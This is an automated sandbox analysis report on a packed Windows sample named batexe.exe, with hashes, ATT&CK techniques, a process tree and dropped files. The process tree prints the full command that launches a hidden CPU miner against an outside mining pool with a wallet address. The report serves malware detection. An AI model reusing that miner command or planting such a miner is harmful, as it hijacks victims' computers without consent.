73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 05:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1888	b2e.exe
1152	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1152	cpuminer-sse2.exe
1152	cpuminer-sse2.exe
1152	cpuminer-sse2.exe
1152	cpuminer-sse2.exe
1152	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2556-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 1888	2556	batexe.exe	85
PID 2556 wrote to memory of 1888	2556	batexe.exe	85
PID 2556 wrote to memory of 1888	2556	batexe.exe	85
PID 1888 wrote to memory of 3484	1888	b2e.exe	86
PID 1888 wrote to memory of 3484	1888	b2e.exe	86
PID 1888 wrote to memory of 3484	1888	b2e.exe	86
PID 3484 wrote to memory of 1152	3484	cmd.exe	89
PID 3484 wrote to memory of 1152	3484	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7455.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe

Filesize
7.9MB

MD5
3ccdde5857eff5d894cdc7a0252f170a

SHA1
d56bf29f65508bd68c47c0ee0fd62dd27cbd1bdd

SHA256
965518896f5063c52272a5d2bfec40e0c7e41b5afc7b7bda542b8e1edb1cc6a3

SHA512
31af42ac917e3802f96c52d02da4a3f838c4c1182c605fe4d7b190024f46e616cbda8f4177531189be5f13d0fa67e55b231375cd2cce166b5b5ad114c644ad72

Download Submit
C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe

Filesize
4.2MB

MD5
893ba4abe829bb9f2631d87452ea231f

SHA1
3a1b0eff70d9812a34faee257bed83067fb826b1

SHA256
7452e91f951037d751719e877fe688cdb68dfa7e6bf4d27726a9ed65af4adc59

SHA512
dddc73218382fb861a0d551e7860fd15bdadda1baf0686392f339e118f7ab396b204d6dcae5f6f3ad996f58947b0c77bbe0f49a85a6d4a82d53841fc461a7f6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\70FA.tmp\b2e.exe

Filesize
3.7MB

MD5
f11736d4719ad5f17e9ddcc3834211fb

SHA1
468bc9dd3b49b4d25fa8ca5b27c906fb28be9678

SHA256
9e738c398f6afa3a88555a6f78f17d19b19fd7bf154c2dd5682a5fa9b1457626

SHA512
b1b96db8a27a9832eff3941132e5c3d89e1404fe81c46e7d4c51ca9485a1ba515747e814f02f9179c315af559cd7377deaee34479bfd0b02aac372118eaea9b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\7455.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.0MB

MD5
f25348bbae4ded28c014e97047e28304

SHA1
958c235f64e8dfcdb1a582bd28dd86845c1a41f0

SHA256
3d1640c98b409ca30d3f79968f5c4f0b42e581281b0cdd0007ec482776da66b1

SHA512
52a911f4690517ab745da162acb503c2f66d5495f9a1103ae2401a4236e63ee28167f9984a6275e4b50413b00426fdc839516e502f922012410b0fe2c65e75ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.0MB

MD5
a6b0bdb4dfff268b188d00522be9613d

SHA1
9644be2bdd6951360ac0c9b0f25435c73aa0c38e

SHA256
30be6c8ef9ecc43fd6343a6c20e915ce266bc66c1511e779f04184a25a8db8a1

SHA512
3c479428d4ebbd9fc442357cdefc369a0daa37da2fa79462bc4a0c3771e8263913df80fee092049cee6b60c103618eb0b71fe90d03fc48d1a9ff5a92e94dc61f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
821KB

MD5
2b8cc6ed3739b4345092aed52c663cf5

SHA1
e87ee2d8bfc663ec2972674a34ba0d687d258ecb

SHA256
8a2dd929b7abb97fa58731c4bce2fb4d1ec9287f31e4231629de422733f4d9f3

SHA512
5bc77b429e9701c4d991963cf4ac3c946bd8473f6b6d2c819827497144378c71c4a9d16b672df34aaa8abccd537eb7a4afa295c8171cf5fe91ad70e8654b7978

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
830KB

MD5
304b3aefc088a39c6d1ba917cf919ded

SHA1
2d9d93cb9d2f0b82e19884527431754530c9b212

SHA256
f1f90228f2f5e3ed85ffcef7bb862f899df80923ce88a4b7ba7c7dd7930c5ab4

SHA512
760004de3b4a246778b0283b1f66da7cbac5c3e3fb128551f095471cb137f7f1a76c3340e42618528d9a78c017077fb249086c9bbd7140b49f5fa3b993b00bb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
871KB

MD5
bdeee46b62b7eaa77949b033a1de9d28

SHA1
62c6b1a26a302f1844a063466aec0354fe307a15

SHA256
bb708296e08dfb4f0db42add354c21936637ec6579f5f8108b15f5980893f844

SHA512
2a806b3287023106ae0306b759e6b535f52135d28a1ec4d030f32140b7570b9869fdc0581885e65b230c4095ca24852e833b572328301e117acb63fd32af8bf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
646KB

MD5
47838ad5b6ce936af3e074186711dade

SHA1
cc18ec01db45b9b428c5a64eaeb9a46fe1f1943a

SHA256
315eb748dc8ae9149fd0907869cd2a324176f95bcece3fbe104b70200ac41d1c

SHA512
baafd72a3827120708cf379af1b1e09d28d98489d748ae0e8dd8989dd72b0f00432bccdf9bbecd3d744f2c3f754c2eec53640d08f59782a3ace16421573281d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
558KB

MD5
52c37d94e73483dbc329621cc1f44b8a

SHA1
8eb024e67e7ea0088867c6991b0237c23f3fae81

SHA256
650265878ee6abd57f4f464df82369ff0bfcdb99248c4981577166af5f44769e

SHA512
e1c27e3508fe7d412a064e045a244c0e2f30d6877480e2aa9e163e23e6969a7169e59794b1eed94ecd9f46ab8876838ae04198b6c9083fdd63f0ceb777688b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
621KB

MD5
2582a0b11affec3f67397bf1abbe374e

SHA1
7bdef4c693edfb1e6ec6dd4b69df3efd092f836f

SHA256
aed7821f70deb74b05115407b25dca3c5376d3515b773ec6607260ec56e81564

SHA512
045eeb76057621836154187448d634b35e04c09ec73262975459549c0b08cfd0a0b282050753d17052598031d06ffebfc2dbd0ee957faea96e449c1dc7fd24ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
396KB

MD5
3fd0b276d58bd445ca3f039254219552

SHA1
28c463eabc8a5063303ea7f5809059a63a5f2bf2

SHA256
a46fad395730ec4f1532e3db6c5242644ea04580214e8300f488d2497bc8e33c

SHA512
3c9304c5b24f4d61bffdd8d64026ea535678afacee3c206fa732a8aeab571e313de914343b28766cbdf4eab293d86eb01c487517bf533b515699ca0dc5779aa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1152-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1152-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/1152-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1152-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/1152-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1888-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1888-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2556-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download